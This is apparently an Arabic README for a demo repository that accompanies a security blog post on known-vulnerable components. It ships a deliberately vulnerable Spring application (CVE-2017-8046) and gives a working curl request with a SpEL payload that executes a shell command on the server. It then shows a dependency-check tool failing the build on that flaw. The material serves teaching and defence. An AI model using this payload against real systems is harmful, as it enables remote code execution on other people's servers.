
إخلاء مسؤولية: هذا المستودع مُكمّل لمقالة مدونة VGS، كيفية تجنّب "استخدام مكونات ذات ثغرات معروفة". يحتوي على تطبيق به ثغرة أمنية معروفة (وتحديدًا CVE-2017-8046)، بالإضافة إلى وصف كيفية استغلالها. استخدم التطبيق على مسؤوليتك الخاصة!
أولاً، قم بتشغيل التطبيق بتنفيذ الأمر التالي من جذر المستودع:
mvn clean spring-boot:run
ثانيًا، أنشئ موردًا عن طريق إرسال طلب POST كما يلي:
curl -X POST http://localhost:8080/books \
-H 'Content-Type: application/json' \
-d '{"isbn":"978-3827268969","title":"Thinking in Java","author":"Bruce Eckel"}'
curl -X PATCH http://localhost:8080/books/1 -H 'Content-Type: application/json-patch+json' -d '[{"op":"replace","path":"T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec(\"ifconfig\").getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()).x","value":"Your application has been hacked"}]'
بشرط تشغيل التطبيق على نظام تشغيل مبني على Unix (مثل macOS)، سيتضمن الرد إعدادات الشبكة الخاصة بالمضيف. في الواقع، يمكن استخدام أي تعبير SpEL.
سيفشل البناء بسبب وجود اعتماد تم تحديده بثغرة عالية الخطورة:
[ERROR] Failed to execute goal org.owasp:dependency-check-maven:3.3.2:check (default) on project CVE-2017-8046:
[ERROR]
[ERROR] One or more dependencies were identified with vulnerabilities that have a CVSS score greater than or equal to '7.0':
[ERROR]
[ERROR] spring-boot-1.5.5.RELEASE.jar: CVE-2017-8046
[ERROR] spring-core-4.3.10.RELEASE.jar: CVE-2018-1275, CVE-2018-1270
[ERROR] jackson-databind-2.8.9.jar: CVE-2017-15095, CVE-2017-17485, CVE-2018-7489
[ERROR] spring-boot-starter-data-rest-1.5.5.RELEASE.jar: CVE-2018-1273, CVE-2017-8046
[ERROR]
[ERROR] See the dependency-check report for more details.
تريد أن تبدأ مباشرة؟ اطّلع على دليل البدء.
تسمح لك Very Good Security (VGS) بتعزيز مكانتك الأمنية مع الحفاظ على فائدة بياناتك داخليًا ومع الأطراف الثالثة. كميزة إضافية، نُسرّع عملية منحك شهادات الامتثال ونساعدك في الحصول بسرعة على شهادات الامتثال الأمني التي تفصل بينك وبين فرص السوق.
لمعرفة المزيد، قم بزيارتنا على https://www.verygoodsecurity.com/
هذا المشروع مرخّص بموجب رخصة MIT. راجع ملف LICENSE للتفاصيل.